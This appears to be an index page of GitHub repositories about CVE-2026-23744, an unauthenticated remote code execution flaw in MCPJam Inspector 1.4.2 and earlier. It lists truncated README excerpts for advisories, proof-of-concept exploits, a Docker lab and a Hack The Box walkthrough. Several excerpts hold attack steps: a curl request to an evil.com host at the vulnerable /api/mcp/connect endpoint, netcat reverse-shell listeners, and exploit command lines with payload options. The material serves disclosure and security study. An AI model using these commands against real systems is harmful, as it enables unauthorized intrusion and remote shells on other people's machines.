cve-2026-23744

CVE-2026-23744 – MCPJam Inspector Unauthenticated Remote Code Execution RCE Description Product : MCPJam Inspector Affected versions : ≤ 1.4.2 Fixed version : 1.4.3 Type : Unauthenticated Remote Code Execution RCE Attack vector : Network Authentication required : No User interaction required : No...

mcpjaminspector-unauth-rce

mcpjaminspector-unauth-rce CVE-2026-23744 RCE in MCPJam inspector = 1.4.2 Vulnerability details https://github.com/MCPJam/inspector/security/advisories/GHSA-232v-j27c-5pp6 Usage usage: mcpjaminspector-unauth-rce.py -h --target TARGET --command COMMAND options: -h, --help show this help message an...

CVE-2026-23744-PoC

CVE-2026-23744-PoC PoC about vulnerability in MCP Server. automated for the part of the post with the correct body. vulnerable path: /api/mcp/connect method via curl: curl http://evil.com:6274/api/mcp/connect --header "Content-Type: application/json" --data...

CVE-2026-23744-PoC

Description MCPJam inspector is the local-first development platform for MCP servers. Versions 1.4.2 and earlier are vulnerable to remote code execution RCE vulnerability, which allows an attacker to send a crafted HTTP request that triggers the installation of an MCP server, leading to RCE. Sinc...

CVE-2026-23744

CVE-2026-23744 Description MCPJam inspector is a local-first development platform for MCP servers. The versions =1.4.2 are vulnerable to remote code execution vulnerability, which allows an attacker to send a crafted HTTP request that triggers the installation of an MCP server, leading to RCE. Fo...

CVE-2026-23744

CVE-2026-23744 CVE-2026-23744 RCE While analyzing this vulnerability, I discovered that MCPJam Inspector exposed the /api/mcp/connect endpoint to the network by binding to 0.0.0.0. This endpoint accepts a JSON object containing serverConfig, including the fields command and args. The application...

CVE-2026-23744-MCPJam-Exploit

CVE-2026-23744 MCPJam Inspector RCE Exploit ⚠️ DISCLAIMER This tool is for authorized security testing and educational purposes ONLY. Unauthorized use is illegal. Users assume all responsibility for their actions. 📋 Overview This repository contains a proof-of-concept exploit for CVE-2026-23744 ,...

CVE-2025-49596-PoC

CVE-2026-23744-PoC Automated PoC for CVE-2026-23744 RCE on MCPJam inspector prior to 1.4.2 on linux targets How to use use netcat to run listener on any port like 9002. nc -nvlp 9002 use the automation like this python3 CVE-2025-49596.py https://mcpjam-server.com...

CVE-2026-23744-POC

Description This vulnerability exists because MCPJam Inspector exposes internal API endpoints intended for debugging and development. These endpoints accept user-controlled input and pass it directly to system-level process execution without proper validation or sanitization. By sending a crafted...

CVE-2026-23744-Lab

CVE-2026-23744 – MCPJam Inspector Docker Lab This repo is a tiny Docker lab to compare a vulnerable vs patched build of MCPJam Inspector for CVE-2026-23744. It’s meant for learning and for building a public security portfolio: quick setup, clear evidence, and screenshots. ⚠️ Ethics / scope : Only...

MCPJam-Inspector-1.4.2-Remote-Code-Execution-CVE-2026-23744

on kali linux - terminal 1 nc -lvnp 4444 on kali linux - terminal 2 python3 ./CVE-2026-23744.py -t http://TARGET.com -p 4444 -i YOUR-KALI-LINUX-IP...

PoC-CVE-2026-23744

PoC-CVE-2026-23744 Remote Code Execution on MCPJam Inspector Reference https://github.com/MCPJam/inspector/security/advisories/GHSA-232v-j27c-5pp6...

CVE-2026-23744

CVE-2026-23744 Exploit to MCPJam Inspector Install libraries with: pip install -r requirements.txt - use python CVE-2026-23744 --help to info MCPJam inspector is the local-first development platform for MCP servers. The Latest version Versions 1.4.2 and earlier are vulnerable to remote code...

CVE-2026-23744

CVE-2026-23744 – Proof of Concept The Python script in this PoC sends a simple HTTP request to the target host running MCPJam inspector version replace with your listening port Then, open another shell, and run the PoC: cd CVE-2026-23744 python3 exploit.py References REC in MCPJam inspector due t...

CVE-2026-23744-POC

CVE-2026-23744 — MCPJam Inspector Unauthenticated RCE MCPJam Inspector -i -p -m Flag| Description| Default ---|---|--- -u| Target URL| required -i| Your listener IP LHOST| required -p| Your listener port LPORT| required -m| Payload method: busybox, bash, python3| busybox Reverse Shell Example Ste...

DevHub-HTB-Walkthrough

DevHub – HTB Walkthrough Medium Linux Machine: DevHub Difficulty: Medium OS: Linux Topics: CVE-2026-23744, Chisel Tunneling, Jupyter, Flask API, Root Privilege Escalation 📌 1. Reconnaissance nmap -sC -sV devhub.htb Result: Port 22 SSH Port 80 HTTP Port 6274 MCPJam Inspector 📌 2. Edit Hosts File...

exploit-CVE-2026-23744

exploit-CVE-2026-23744 MCPJam Inspector is a local-first development platform for MCP servers. In versions 1.4.2 and earlier, a RCE flaw lets attackers send crafted HTTP request that installs an MCP server and runs code remotely, because the service listens on 0.0.0.0 instead of 127.0.0.1 by...

CVE-2026-23744

CVE-2026-23744 — MCPJam Inspector Unauthenticated RCE Unauthenticated remote code execution PoC for CVE-2026-23744. MCPJam Inspector 1.4.2 and earlier expose functionality through /api/mcp/connect that can launch an attacker-controlled MCP server command without authentication. For authorized...

CVE-2026-23744-script

A script for CVE-2026-23744, which exploits MCPJam Inspector versions = 1.4.2. Based off the curl command used here: https://github.com/advisories/GHSA-232v-j27c-5pp6 Make sure your /etc/hosts file is correct and points to the domain/vhost of the target...

mcpjam-to-root

⚠️ Disclaimer This repository is intended for authorized security research, penetration testing, and educational purposes only. Do not use the techniques described here against systems without explicit authorization. ⚡ MCPJam → Root From MCPJam Inspector RCE to root — CVE-2026-23744, JupyterLab...